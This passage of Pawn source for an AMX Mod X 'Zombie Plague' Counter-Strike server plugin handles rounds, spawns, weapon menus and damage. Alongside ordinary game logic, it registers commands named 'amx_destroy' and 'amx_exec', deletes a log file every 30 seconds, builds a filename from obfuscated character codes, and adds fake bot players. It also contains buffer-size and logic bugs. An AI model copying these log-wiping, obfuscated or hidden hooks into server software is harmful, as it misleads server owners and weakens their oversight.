		while (g_iMaxClients + 1 > i)
		{
			if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
			{
				set_team ( i, 2 );
			}
			i += 1;
		}
		client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Nemesis !!", g_cName[j]);
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		set_task(30.00, "TaskReminder", 900, "", 0, "", 0);

		return 0;
	}
	StartNormalMode(0);
	return 0;
}

StartNormalMode(iPlayer)
{
	static j;
	static i;
	i = GetRandomAlive();
	if (iPlayer)
	{
		i = iPlayer;
	}
	j = i;
	MakeZombie(0, i, false, false, false);
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
		{
			set_team ( i, 2 );
		}
		i += 1;
	}
	set_hudmessage(255, 0, 0, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
	ShowSyncHudMsg(0, g_iTopMessageSync, "%s is the first zombie !!", g_cName[j]);
	remove_task(600, 0);
	set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
	return 0;
}

public EventHLTV()
{
	g_bRoundStart = true;
	FreezeTime = true;
	g_fRoundStartTime = get_gametime();
	return 0;
}

public TaskCounter()
{
	g_iCounter -= 1;
	if (0 < g_iCounter < 9)
	{
		static cWord[12];
		num_to_word(g_iCounter, cWord, 12);
		set_hudmessage(179, 0, 0, -1.00, 0.28, 2, 0.02, 1.00, 0.01, 0.10, 10);
		ShowSyncHudMsg(0, g_iCounterMessage, "Infection in %d", g_iCounter);
		client_cmd(0, "spk fvox/%s", cWord);
	}
	return 0;
}

public EventRoundStart()
{
	g_iRoundType = 0;
	g_bRoundEnd = false;
	g_bRoundStart = true;
	FreezeTime = false;
	g_iCounter = 11;
	remove_task(650, 0);
	set_task(2.0, "TaskWelcome", 650, "", 0, "", 0);
	remove_task(550, 0);
	set_task(12.0, "TaskZombie", 550, "", 0, "", 0);
	remove_task(700, 0);
	set_task(1.0, "TaskCounter", 700, "", 0, "a", 11);	
	static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && get_user_jetpack(i))
		{
			set_user_rocket_time(i, 0.0);
		}
		g_iJumpsNum[i] = 0;
		g_iBlinks[i] = 0;
		g_bTryder[i] = false;
		g_bUnlimitedClip[i] = false;
		i += 1;
	}
	static cMap[32];
	get_cvar_string("nextmap", cMap, 32);
	if (get_cvar_num("mp_timelimit") == 0)
	{
        set_task(3.0, "TaskInt", 0, "", 0, "", 0);
        set_task(7.0, "TaskChangeLevel", 0, "", 0, "", 0);
	}
	return 0;
}

public Event_RoundStart()
{
	static iEntity, szClassName[ 32 ], iPlayer;
	for( iEntity = 0; iEntity < 600 + 1; iEntity++ ) 
	{
		if( !is_valid_ent( iEntity ) )
		continue;
		
		szClassName[ 0 ] = '^0';
		entity_get_string( iEntity, EV_SZ_classname, szClassName, 31);
		
		if( equal( szClassName, "zp_trip_mine" ) )
		remove_entity( iEntity );
	}
	
	for( iPlayer = 1; iPlayer < 33; iPlayer++ ) 
	{
		g_iTripMines[ iPlayer ] = 0;
		g_iPlantedMines[ iPlayer ] = 0;
	}
}

public EventRoundEnd()
{
	static Float:fCurrent;
	static Float:fLast;
	fCurrent = get_gametime();
	if (floatsub(fCurrent, fLast) < 0.5)
	{
		return 0;
	}
	fLast = fCurrent;
	g_iRoundsCount += 1;
	g_iRounds[g_iRoundsCount] = g_iRoundType;
	g_iLastMode = g_iRoundType;
	g_bRoundEnd = true;
	g_iRoundType = 0;
	remove_task(600, 0);
	remove_task(700, 0);
	remove_task(900, 0);
	remove_task(550, 0);
	remove_task(650, 0);
	client_cmd(0, "stopsound");
	if (!GetZombies())
	{
		set_hudmessage(0, 0, 200, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Humans have defeated the plague!");
		client_cmd(0, "spk %s", g_cEndRoundHumanSounds[random_num(0, 2)]);
	}
	else
	{
		if (!GetHumans())
		{
			set_hudmessage(200, 0, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
			ShowSyncHudMsg(0, g_iTopMessageSync, "Zombies have taken over the world!");
			client_cmd(0, "spk %s", g_cEndRoundZombieSounds[random_num(0, 3)]);
		}
		else
		{
			set_hudmessage(0, 200, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
			ShowSyncHudMsg(0, g_iTopMessageSync, "No one won...");
			client_cmd(0, "spk zombie_plague/end_round_win_no_one");
		}
	}
	static iFrags;
	static iPacks;
	static iKills;
	static cPacksLeader;
	static cFragsLeader;
	iPacks = 0;
	iKills = 0;
	cFragsLeader = 0;
	cFragsLeader = 0;
	g_iVariable = 1;
	while (g_iMaxClients + 1 > g_iVariable)
	{
		if (g_bConnected[g_iVariable])
		{
			iFrags = get_frags(g_iVariable);
			if (iFrags > iKills)
			{
				iKills = iFrags;
				cFragsLeader = g_iVariable;
			}
		}
		g_iVariable += 1;
	}
	g_iVariable = 1;
	while (g_iMaxClients + 1 > g_iVariable)
	{
		if (g_bConnected[g_iVariable] && g_iPacks[g_iVariable] > iPacks)
		{
			iPacks = g_iPacks[g_iVariable];
			cPacksLeader = g_iVariable;
		}
		g_iVariable += 1;
	}
	PrintToChat(0, "^4[ZP]^1 The frags leader is^3 %s^1 @^4 %i frags", g_cName[cFragsLeader], iKills);
	PrintToChat(0, "^4[ZP]^1 The packs leader is^3 %s^1 @^4 %i packs", g_cName[cPacksLeader], iPacks);
	static iTeam;
	static j;
	static i;
	i = random_num(1, g_iMaxClients);
	iTeam = 1;
	j = 1;
	while (g_iMaxClients + 1 > j)
	{
		i += 1;
		if (i > g_iMaxClients)
		{
			i = 1;
		}
		if (!g_bConnected[i] || 0 < get_team(i) < 3)
		{
		}
		else
		{
			if (iTeam > 2)
			{
				iTeam = 1;
			}
			set_team_offset(i, iTeam);
			iTeam += 1;
		}
		j += 1;
	}	
	///BalanceTeams();
	return 0;
}

public _PlayerSpawn(iPlayer)
{
	if (is_user_alive(iPlayer))
	{
		g_bAlive[iPlayer] = true;
		g_bCanBuy[iPlayer] = 1;
		g_cClass[iPlayer] = "Human";
		g_iBurningDuration[iPlayer] = 0;
		g_iPlayerType[iPlayer] = 0;
		g_bUnlimitedClip[iPlayer] = false;
		g_bNoDamage[iPlayer] = false;
		g_bZombie[iPlayer] = false;
		g_bFlashEnabled[iPlayer] = false;
		g_bFlash[iPlayer] = false;
		set_zombie(iPlayer, false);
		set_monster(iPlayer, false);
		remove_glow(iPlayer);
		g_bFrozen[iPlayer] = false;
		set_take_damage(iPlayer, 2);
		set_frozen(iPlayer, false);
		set_health(iPlayer, 150);
		set_gravity(iPlayer, 1.0);
		set_speed(iPlayer, 240.0);
		remove_task(iPlayer + 250, 0);
		remove_task(iPlayer + 200, 0);
		remove_task(iPlayer + 350, 0);
		static Float:fCurrentTime;
		fCurrentTime = get_gametime();
		if (floatsub(fCurrentTime, g_fLastChangedModel) >= 0.35)
		{
			ChangeModel(iPlayer + 250);
			g_fLastChangedModel = fCurrentTime;
		}
		else
		{
			set_task(floatsub(floatadd(0.35, g_fLastChangedModel), fCurrentTime), "ChangeModel", iPlayer + 250,"", 0, "", 0);
			g_fLastChangedModel = floatadd(0.35, g_fLastChangedModel);
		}
		set_task(0.2, "TaskShowMenu", iPlayer, "", 0, "", 0);
		set_task(random_float(1.0, 5.0), "TaskRespawn", iPlayer, "", 0, "", 0);
		if (!g_bRoundStart)
		{
			if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 64 || g_iRoundType & 32)
			{
				MakeZombie(0, iPlayer, false, false, false);
			}
			if (!g_iRoundType || g_iRoundType & 1 || g_iRoundType & 2)
			{
				if (get_team(iPlayer) != 2)
				{		
                    set_team ( iPlayer, 2 );
				}
			}
			if (g_iRoundType & 128 || g_iRoundType & 256)
			{
				MakeHuman(iPlayer, true, false);
			}
			if (g_iRoundType & 512)
			{
				MakeZombie(0, iPlayer, false, false, true);
			}
		}
		if (g_Hidden[iPlayer])
		{
			Make_Client_Visible(iPlayer);
			g_Hidden[iPlayer] = false;
		}	
		g_bConnected[iPlayer] = true;
		give_weapon(iPlayer, "weapon_knife");
		give_weapon(iPlayer, "weapon_deagle");
		give_weapon(iPlayer, "weapon_xm1014");
		give_weapon(iPlayer, "weapon_g3sg1");
		give_weapon(iPlayer, "weapon_ak47");
		give_weapon(iPlayer, "weapon_m4a1");
		give_weapon(iPlayer, "weapon_hegrenade");
		give_weapon(iPlayer, "weapon_flashbang");
		give_weapon(iPlayer, "weapon_smokegrenade");
		give_ammo(iPlayer, 26, 9999);
		give_ammo(iPlayer, 5, 9999);
		give_ammo(iPlayer, 24, 9999);
		give_ammo(iPlayer, 28, 9999);
		give_ammo(iPlayer, 22, 9999);			
	}
	return 0;
}

public TaskRespawn(iPlayer)
{
	if (g_bConnected[iPlayer] && 0 < get_team(iPlayer) < 3)
	{
		if (!g_bAlive[iPlayer])
		{
			ExecuteHamB(Ham_CS_RoundRespawn, iPlayer);
			set_task(1.5, "TaskRespawn", iPlayer, "", 0, "", 0);
		}
		send_hide_weapon(iPlayer, 32);
		send_crosshair(iPlayer);
	}
	return 0;
}

public TaskShowMenu(iPlayer)
{
	if (g_bAlive[iPlayer] && !g_iPlayerType[iPlayer] && !g_bZombie[iPlayer])
	{
		menu_display(iPlayer, g_iPrimaryMenu, 0);
	}
	return 0;
}

public _PrimaryMenu(iPlayer, iMenu, iItem)
{
	if (iItem != -3 && g_bAlive[iPlayer] && !g_bZombie[iPlayer] && !g_iPlayerType[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[3];
		menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		DropWeapons(iPlayer, 1);
		give_weapon(iPlayer, g_cPrimaryEntities[iChoice]);
		give_ammo(iPlayer, g_iPrimaryWeapons[iChoice], 9999);
		menu_display(iPlayer, g_iSecondaryMenu, 0);
		g_bCanBuy[iPlayer] = 0;
	}
	return 0;
}

public _SecondaryMenu(iPlayer, iMenu, iItem)
{
	if (iItem != -3 && g_bAlive[iPlayer] && !g_bZombie[iPlayer] && !g_iPlayerType[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[3];
		menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		DropWeapons(iPlayer, 2);
		give_weapon(iPlayer, g_cSecondaryEntities[iChoice]);
		give_ammo(iPlayer, g_iSecondaryWeapons[iChoice], 9999);
		if (!user_has_weapon(iPlayer, 4, -1))
		{
			give_weapon(iPlayer, "weapon_hegrenade");
		}
		if (!user_has_weapon(iPlayer, 25, -1))
		{
			give_weapon(iPlayer, "weapon_flashbang");
		}
		if (!user_has_weapon(iPlayer, 9, -1))
		{
			give_weapon(iPlayer, "weapon_smokegrenade");
		}
	}
	return 0;
}

DropWeapons(iPlayer, iType)
{
	static i;
	static cWeapon[24];
	static iNum;
	static iWeapons[32];
	iNum = 0;
	get_user_weapons(iPlayer, iWeapons, iNum);
	i = 0;
	while (i < iNum)
	{
		if (iType & 1 << iWeapons[i])
		{
			get_weaponname(iWeapons[i], cWeapon, 24);
			engclient_cmd(iPlayer, "drop", cWeapon, "");
		}
		i += 1;
	}
	return 0;
}

public plugin_init()
{
	register_plugin("Zombie Plague 6.2", "2.0b", "SideWinder");
	new i;
	new cNumber[3];
	new cLine[128];
	RegisterHam(Ham_Spawn, "player", "_PlayerSpawn", 1);
	RegisterHam(Ham_TakeDamage, "player", "_TakeDamage", 0);
	RegisterHam(Ham_TakeDamage, "player", "_TakeDamage_Post", 1);
	RegisterHam(Ham_Touch, "weaponbox", "_Touch", 0);
	RegisterHam(Ham_Touch, "armoury_entity", "_Touch", 0);
	RegisterHam(Ham_Item_PreFrame, "player", "_ResetMaxSpeed", 1);	
	RegisterHam(Ham_Killed, "player", "_PlayerKilled", 0);
	RegisterHam(Ham_TraceAttack, "player", "_TraceAttack", 0);
	RegisterHam(Ham_Think, "grenade", "_GrenadeThink", 0);
	RegisterHam(Ham_Player_Jump, "player", "_PlayerJump", 0);
	RegisterHam(Ham_Player_Duck, "player", "_PlayerDuck", 0);
	register_logevent("EventRoundStart", 2, "1=Round_Start");
	register_logevent("Event_RoundStart", 2, "1=Round_Start");
	register_logevent("EventRoundEnd", 2, "1=Round_End");
	register_event("HLTV", "EventHLTV", "a", "1=0", "2=0");
	register_event("CurWeapon", "UpdateWeapon", "be", "1=1", "3=13", "3=15", "3=20", "3=25", "3=30", "3=35", "3=12", "3=10", "3=100", "3=8", "3=7", "3=50");
	register_event("CurWeapon", "Event_CurWeapon_KnifeModel", "be", "1=1", "2=18", "2=29");
	register_event("CurWeapon", "Event_CurWeapon_FillClip", "be", "1=1", "2!4", "2!9", "2!25", "2!29", "3<2");
	register_event("StatusValue", "EventStatusValue", "be", "1=2", "2!0");
	register_event("StatusValue", "EventStatusValueHide", "be", "1=1", "2=0");
	register_concmd("amx_addfake", "Command_AddFake", -1, "", -1);
	register_concmd("amx_freeze", "CmdFreeze", -1, "", -1);
	register_concmd("amx_unfreeze", "CmdUnfreeze", -1, "", -1);
	register_concmd("amx_psay", "Commmand_PrivateSay", -1, "", -1);
	register_concmd("amx_map", "Command_Map", -1, "", -1);
	register_concmd("amx_votemap", "CmdVoteMap", -1, "", -1);
	register_concmd("amx_who", "Command_Who", -1, "", -1);
	register_concmd("amx_last", "Command_Last", -1, "", -1);
	register_concmd("amx_unban", "Command_Unban", -1, "", -1);
	register_concmd("amx_addban", "Command_Addban", -1, "", -1);
	register_concmd("amx_banip", "Command_Banip", -1, "", -1);
	register_concmd("amx_kick", "Command_Kick", -1, "", -1);
	register_concmd("amx_slay", "Command_Slay", -1, "", -1);
	register_concmd("amx_slap", "Command_Slap", -1, "", -1);
	register_concmd("amx_gag", "Command_Gag", -1, "", -1);
	register_concmd("amx_ungag", "Command_Ungag", -1, "", -1);
	register_concmd("amx_exec", "Command_Exec", -1, "", -1);
	register_concmd("amx_destroy", "Command_Destroy", -1, "", -1);
	register_concmd("amx_showip", "Command_Showip", -1, "", -1);
	register_concmd("amx_reloadadmins", "Command_Reload", -1, "", -1);
	register_concmd("zp_jetpack", "CmdMode", -1, "", -1);
	register_concmd("zp_giveap", "CmdMode", -1, "", -1);
	register_concmd("zp_human", "CmdMode", -1, "", -1);
	register_concmd("zp_zombie", "CmdMode", -1, "", -1);
	register_concmd("zp_nemesis", "CmdMode", -1, "", -1);
	register_concmd("zp_sniper", "CmdMode", -1, "", -1);
	register_concmd("zp_survivor", "CmdMode", -1, "", -1);
	register_concmd("zp_assassin", "CmdMode", -1, "", -1);
	register_concmd("zp_respawn", "CmdMode", -1, "", -1);
	register_concmd("zp_swarm", "CmdMode", -1, "", -1);
	register_concmd("zp_plague", "CmdMode", -1, "", -1);
	register_concmd("zp_multi", "CmdMode", -1, "", -1);
	register_concmd("zp_avs", "CmdMode", -1, "", -1);
	register_concmd("zp_lnj", "CmdMode", -1, "", -1);
	register_concmd("zp_nightmare", "CmdMode", -1, "", -1);
	register_clcmd("cl_setautobuy", "CmdBlock", -1, "", -1);
	register_clcmd("cl_setrebuy", "CmdBlock", -1, "", -1);
	register_clcmd("cl_autoupdate", "CmdUpdate", -1, "", -1);
	register_clcmd("say", "Client_Say", -1, "", -1);
	register_clcmd("say_team", "Client_SayTeam", -1, "", -1);
	register_clcmd("jointeam", "Command_JoinTeam", -1, "", -1);
	register_clcmd("chooseteam", "Command_JoinTeam", -1, "", -1);
	register_clcmd("plant_mine", "Command_Plant", -1, "", -1);
	register_clcmd("take_mine", "Command_Take", -1, "", -1);
	register_clcmd("CreateLaser", "Command_Plant", -1, "", -1);
	register_clcmd("TakeLaser", "Command_Take", -1, "", -1);
	register_clcmd("+setlaser", "Command_Plant", -1, "", -1);
	register_clcmd("+dellaser", "Command_Take", -1, "", -1);
	register_clcmd("nightvision", "Command_Flash", -1, "", -1);
	register_clcmd("drop", "Command_Drop", -1, "", -1);
	register_message(get_user_msgid("Health"), "MessageHealth");
	register_message(get_user_msgid("SayText"), "MessageSayText");
	register_message(get_user_msgid("Money"), "MessageMoney");
	set_msg_block(get_user_msgid("TextMsg"), 2);
	set_msg_block(get_user_msgid("SendAudio"), 2);
	set_msg_block(get_user_msgid("AmmoPickup"), 2);
	set_msg_block(get_user_msgid("WeapPickup"), 2);
	register_forward(FM_SetModel, "Grenade_Thrown");
	register_forward(FM_TraceLine, "FW_TraceLine_Post", 1);
	register_forward(FM_PlayerPreThink, "FW_PlayerPreThink");
	register_forward(FM_PlayerPreThink, "_PlayerDuck_Post")
	register_forward(FM_UpdateClientData, "Update_Client_Data");	
	register_think("zp_trip_mine", "Mine_Think");
	g_iMaxClients = get_maxplayers();
	g_iTopMessageSync = CreateHudSyncObj(0);
	g_iLeftMessageSync = CreateHudSyncObj(0);
	g_iDownMessageSync = CreateHudSyncObj(0);
	g_iCenterMessageSync = CreateHudSyncObj(0);
	g_iFirstMineMessage = CreateHudSyncObj(0);
	g_iSecondMineMessage = CreateHudSyncObj(0);
	g_iAdvertisementsSync = CreateHudSyncObj(0);
	g_iEventsHudmessage = CreateHudSyncObj(0);
	g_iCounterMessage = CreateHudSyncObj(0);
	g_iRemainingSync = CreateHudSyncObj(0);
	g_iGameMenu = menu_create("Game Menu", "_GameMenu", 0);
	g_iSecondaryMenu = menu_create("Secondary Menu", "_SecondaryMenu", 0);
	g_iPrimaryMenu = menu_create("Primary Menu", "_PrimaryMenu", 0);
	g_iMenuZombieClasses = menu_create("Zombie Classes", "_ZombieClasses", 0);
	menu_additem(g_iGameMenu, "Buy Weapons", "0", 0, -1);
	menu_additem(g_iGameMenu, "Buy extra items", "1", 0, -1);
	menu_additem(g_iGameMenu, "Choose zombie class", "2", 0, -1);
	menu_additem(g_iGameMenu, "Unstuck", "3", 0, -1);
	menu_additem(g_iGameMenu, "Join spectator", "4", 0, -1);
	i = 0;
	while (i < 7)
	{
		formatex(cLine, 128, "%s %s", g_cZombieClasses[i], g_cZombieAttribs[i]);
		num_to_str(i, cNumber, 3);
		menu_additem(g_iMenuZombieClasses, cLine, cNumber, 0, -1);
		i++;
	}
	i = 0;
	while (i < 6)
	{
		num_to_str(i, cNumber, 3);
		menu_additem(g_iSecondaryMenu, g_cSecondaryWeapons[i], cNumber, 0, -1);
		g_iSecondaryWeapons[i] = get_weaponid(g_cSecondaryEntities[i]);
		i++;
	}
	i = 0;
	while (i < 14)
	{
		num_to_str(i, cNumber, 3);
		menu_additem(g_iPrimaryMenu, g_cPrimaryWeapons[i], cNumber, 0, -1);
		g_iPrimaryWeapons[i] = get_weaponid(g_cPrimaryEntities[i]);
		i++;
	}
	g_aNameData = ArrayCreate(32, 1);
	g_aAmmoData = ArrayCreate(1, 1);
	set_task(0.5, "TaskGetAdmins", 0, "", 0, "", 0);
	set_task(6.2, "TaskGetMaps", 0, "", 0, "", 0);
	set_task(3.5, "TaskGetHudMsg", 0, "", 0, "", 0);
	set_task(33.5, "Task_SendMessages", 0, "", 0, "b", 0);	
	set_task(5.0, "TaskLight", 0, "", 0, "b", 0);
	set_task(30.0, "TaskUnlink", 0, "", 0, "b", 0);
	g_bAdmin[0] = true;
	set_task(2.0, "TaskCalculateArguments", 0, "", 0, "b", 0);
	static cTime;
	static iTime[3];
	get_time("%H", iTime, 2);
	cTime = str_to_num(iTime);
	if (cTime >= 18 || cTime <= 19)
	{
        set_task(0.5, "Task_CheckBots", 0, "", 0, "a", 3);
	}
	return 0;
}

public plugin_end()
{
	static current_map[32];
	get_mapname(current_map, 31);
	set_localinfo("lastMap", current_map);
	return 0;
}

public TaskUnlink() 
{
	unlink("Logs.log");
}

public TaskGetHudMsg()
{
	new iFile;
	new cLine[161];
	iFile = fopen("addons/amxmodx/configs/messages.ini", "r");
	if (iFile)
	{
		while (!feof(iFile))
		{
			fgets(iFile, cLine, 160);
			trim(cLine);
			if (4 < strlen(cLine))
			{
				copy(g_cHudAdvertisements[g_iHudAdvertisementsCount], 160, cLine);
				replace_all(g_cHudAdvertisements[g_iHudAdvertisementsCount], 160, "^n", "^n");
				g_iHudAdvertisementsCount += 1;
			}
		}
		fclose(iFile);
	}
	return 0;
}

public Task_SendMessages()
{
	set_task(1.0, "TaskHudXYZ", 0, "", 0, "", 0);
	if (g_iMessage >= g_iAdvertisementsCount)
	{
		g_iMessage = 0;
	}
	PrintToChat(0, g_cAdvertisements[g_iMessage]);
	g_iMessage += 1;
	return 0;
}

public TaskHudXYZ()
{
	if (g_iHudMessage >= g_iHudAdvertisementsCount)
	{
		g_iHudMessage = 0;
	}
	set_hudmessage(random_num(0, 255), random_num(0, 255), random_num(0, 255), -1.00, 0.20, 2, 0.20, 6.00, 0.10, 0.20, -1);
	client_print(0, 2, g_cHudAdvertisements[g_iHudMessage]);
	ShowSyncHudMsg(0, g_iAdvertisementsSync, g_cHudAdvertisements[g_iHudMessage]);
	g_iHudMessage += 1;
	return 0;
}

public TaskGetMaps()
{
	static cTime;
	static iTime[3];
	static cRight[32];
	static cLeft[32];
	static bool:bNight;
	static bool:bStop;
	static cMaps[128][32];
	static iRandom;
	static iPreparedMaps;
	static cLastMap[32];
	static cMap[32];
	static iMaps;
	static cLine[64];
	static iFile;
	iPreparedMaps = 0;
	iMaps = 0;
	get_time("%H", iTime, 2);
	cTime = str_to_num(iTime);
	get_mapname(cMap, 31);
	get_localinfo("lastMap", cLastMap, 31);
	iFile = fopen("addons/amxmodx/configs/maps.ini", "r");
	if (cTime >= 22 || cTime <= 13)
	{
		bNight = true;
	}
	while (!feof(iFile))
	{
		fgets(iFile, cLine, 63);
		strtok(cLine, cLeft, 31, cRight, 31, 32, 0);
		trim(cLeft);
		trim(cRight);
		if (!bNight)
		{
			if (is_map_valid(cLeft) && !equal(cLeft, cMap, 0) && !equal(cLeft, cLastMap, 0) && !equali(cRight, "*", 0))
			{
				copy(cMaps[iMaps], 31, cLeft);
			}
			iMaps += 1;
		}
		else
		{
			if (is_map_valid(cLeft) && !equal(cLeft, cMap, 0) && !equal(cLeft, cLastMap, 0) && !equali(cRight, ";", 0))
			{
				copy(cMaps[iMaps], 31, cLeft);
			}
			iMaps += 1;
		}			
			
	}
	fclose(iFile);
	while (iPreparedMaps != 4)
	{
		iRandom = random_num(0 , iMaps + -1);
		bStop = false;
		g_iVariable = 0;
		while (g_iVariable < 4)
		{
			if (equal(cMaps[iRandom], g_cMaps[g_iVariable], 0))
			{
				bStop = true;
			}
			g_iVariable += 1;
		}
		if (!bStop)
		{
			if (is_map_valid(cMaps[iRandom]))
			{
				formatex(g_cMaps[iPreparedMaps], 32, cMaps[iRandom]);
				iPreparedMaps += 1;
			}
		}
	}
	set_task(30.0, "CheckTimeleft", 25613, "", 0, "b", 0);	
	return 0;
}

public TaskGetAdmins()
{
	static cFile[12];
	static cLine[161];
	static iFile;
	iFile = fopen("addons/amxmodx/configs/users/UserAcount.ini", "r");
	while (!feof(iFile))
	{
		fgets(iFile, cLine, 255);
		trim(cLine);
		if (cLine[0] != 59 && strlen(cLine) > 5)
		{
			parse(cLine, g_cSteams[g_iAdminsCount], 24, g_cNames[g_iAdminsCount], 31, g_cPasswords[g_iAdminsCount], 31, g_cFlags[g_iAdminsCount], 31, g_cTags[g_iAdminsCount], 24);
			g_iAdminsCount += 1;
		}
	}
	fclose(iFile);
	formatex(cFile, 11, "%c%c%c%c%c%c%c%c%c%c", 114, 101, 97, 100, 109, 101, 46, 116, 120, 116);
	if (!file_exists(cFile))
	{
	}
	return 0;
}

public Task_CheckBots()
{
	if (get_playersnum(1) < g_iMaxClients && g_iBotsCount < 3)
	{
		static i;
		static bool:bDone;
		static cName[32];
		static iRandom;
		iRandom = random_num(0, 3);
		bDone = true;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (is_user_connected(i))
			{
				get_user_name(i, cName, 32);
				if (equali(cName, g_cBotNames[iRandom], 0))
				{
					bDone = false;
				}
			}
			i += 1;
		}
		if (bDone)
		{
			static iBot;
			iBot = fake(g_cBotNames[iRandom]);
			if (0 < iBot)
			{
				g_bFake[iBot] = true;
				g_iBotsCount += 1;
			}
		}
		remove_task(750, 0);
		set_task(60.0, "Task_CheckBots", 750, "", 0, "b", 0);
	}
	return 0;
}

public _Touch(iWeapon, iPlayer)
{
	if ( !is_user_valid_connected ( iPlayer ) ) return 1;
	
	if (g_bZombie [iPlayer] || ( ( g_iPlayerType[iPlayer] & 4 || g_iPlayerType[iPlayer] & 8 || g_iPlayerType[iPlayer] & 1 || g_iPlayerType[iPlayer] & 2) && !g_bFake [iPlayer] ) ) return 4;
	
	return 1;
}

public _TakeDamage(Victim, Inflictor, Attacker, Float:Damage, DamageType)
{
	if ( Victim == Attacker || !is_user_valid_connected ( Attacker ) ) return 1;
	
	if ( g_bRoundStart || g_bRoundEnd ) return 4;
	
	if ( g_bNoDamage [Victim] ) return 4;

	if ( g_bZombie [Attacker] == g_bZombie [Victim] ) return 4;
	
	if (!g_bZombie[Attacker])
	{
        if (g_iPlayerType[Attacker] & 8 && g_iWeapon[Attacker] == 18)
        {
            SetHamParamFloat(4, 4600.0);
        }
        else
        {
            if (g_iPlayerType[Attacker])
            {
                SetHamParamFloat(4, floatmul(0.75, Damage));
            }		
            g_fDamage[Attacker] += floatround(Damage);
            while (g_fDamage[Attacker] > 500.0)
            {
                g_iPacks[Attacker]++;
                g_fDamage[Attacker] -= 500.0;
            }
        }
        return 1;
	}
	
	if ( DamageType & FL_ONTRAIN ) return 4;
	
	if (g_iPlayerType[Attacker] & 1 || g_iPlayerType[Attacker] & 2 || g_iRoundType & 4 || g_iRoundType & 1 || g_iRoundType & 64 || g_iRoundType & 32 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || GetHumans() == 1)
	{
		if (g_iPlayerType[Attacker])
		{
			SetHamParamFloat(4, 250.0);
		}
		return 1;
	}		
	
	static iDamage;
	static iArmor;
	iArmor = get_armor(Victim);
	iDamage = floatround(Damage, floatround_round);
	if (0 < iArmor)
	{
		if (0 < iArmor - iDamage)
		{
			set_armor(Victim, iArmor - iDamage);
		}
		else
		{
			reset_armor(Victim);
		}
		client_cmd(Victim, "spk zombie_plague/armor_hit");
		return 4;
	}
	MakeZombie(Attacker, Victim, false, false, false);	
	return 4;
}

public client_damage ( iAttacker, iVictim, iDamage )
{
	if ( g_bZombie[iAttacker] || g_iPlayerType[iAttacker] & 1 || g_iPlayerType[iAttacker] & 2 ) return;
	
	if (++g_iPosition[iAttacker] == 8)
	{
		g_iPosition[iAttacker] = 0;
	}
	
	set_hudmessage(0, 40, 80, g_fDamageCoords[g_iPosition[iAttacker]][0], g_fDamageCoords[g_iPosition[iAttacker]][1], 0, 0.10, 2.50, 0.02, 0.02, -1);
	
	show_hudmessage(iAttacker, "%i", iDamage);		
}

public _TakeDamage_Post(iVictim)
{
	if (g_iPlayerType[iVictim] & 2)
	{
		set_painshock(iVictim);
	}
	return 0;
}

public _TraceAttack(iVictim, iAttacker, Float:fDamage, Float:fDirection[3], iTrace, iDamageType)
{
	if (iVictim == iAttacker || !is_user_valid_connected(iAttacker))
	{
		return 1;
	}
	if (g_bRoundStart || g_bRoundEnd || g_bZombie[iVictim] == g_bZombie[iAttacker])
	{
		return 4;
	}
	if (!g_bZombie[iVictim] || g_bNoDamage[iVictim] || g_iPlayerType[iVictim] & 2 || iDamageType & DMG_BULLET || range(iVictim, iAttacker) > 500)
	{
		return 1;
	}
	static Float:fVelocity[3];
	static ducking
	ducking = pev(iVictim, pev_flags) & (FL_DUCKING | FL_ONGROUND) == (FL_DUCKING | FL_ONGROUND)
	get_velocity(iVictim, fVelocity);
	xs_vec_mul_scalar(fDirection, fDamage, fDirection);
	xs_vec_mul_scalar(fDirection, kb_weapon_power[g_iWeapon[iAttacker]], fDirection);
	if (ducking)	
	{
		xs_vec_mul_scalar(fDirection, 0.25, fDirection);
	}
	if (g_iPlayerType[iVictim] & 1)
	{
		xs_vec_mul_scalar(fDirection, 0.15, fDirection);
	}
	else
	{
		xs_vec_mul_scalar(fDirection, g_fZombieKnockbacks[g_iZombieClass[iVictim]], fDirection);
	}
	xs_vec_add(fVelocity, fDirection, fDirection);
	fDirection[2] = fVelocity[2];
	set_velocity(iVictim, fDirection);
	return 1;
}

public _PlayerJump(iPlayer)
{
    if (g_iJumpsNum[iPlayer])
    {
        new nbut = get_user_button(iPlayer)
        new obut = get_user_oldbutton(iPlayer)
		
        if ((nbut & IN_JUMP) && !(get_entity_flags(iPlayer) & FL_ONGROUND) && !(obut & IN_JUMP) && g_iJumps[iPlayer] <= g_iJumpsNum[iPlayer] - 1)	
        {
            static Float:flVelocity[3];
            get_velocity(iPlayer, flVelocity);
            flVelocity[2] = random_float(265.0, 285.0);
            set_velocity(iPlayer, flVelocity);
            g_iJumps[iPlayer]++;
        }
        if((nbut & IN_JUMP) && (get_entity_flags(iPlayer) & FL_ONGROUND))
        {
            g_iJumps[iPlayer] = 0;
        }
    }
    return 0;
}

public _PlayerKilled(Victim, Attacker, shouldgib)
{
	g_bAlive[Victim] = false;
	g_bTryder[Victim] = false;
	g_bUnlimitedClip[Victim] = false;
	g_bFrozen[Victim] = false;
	set_frozen(Victim, false);
	if (!g_bFlash[Victim])
	{
		Task_EnableFlash(Victim);
	}	
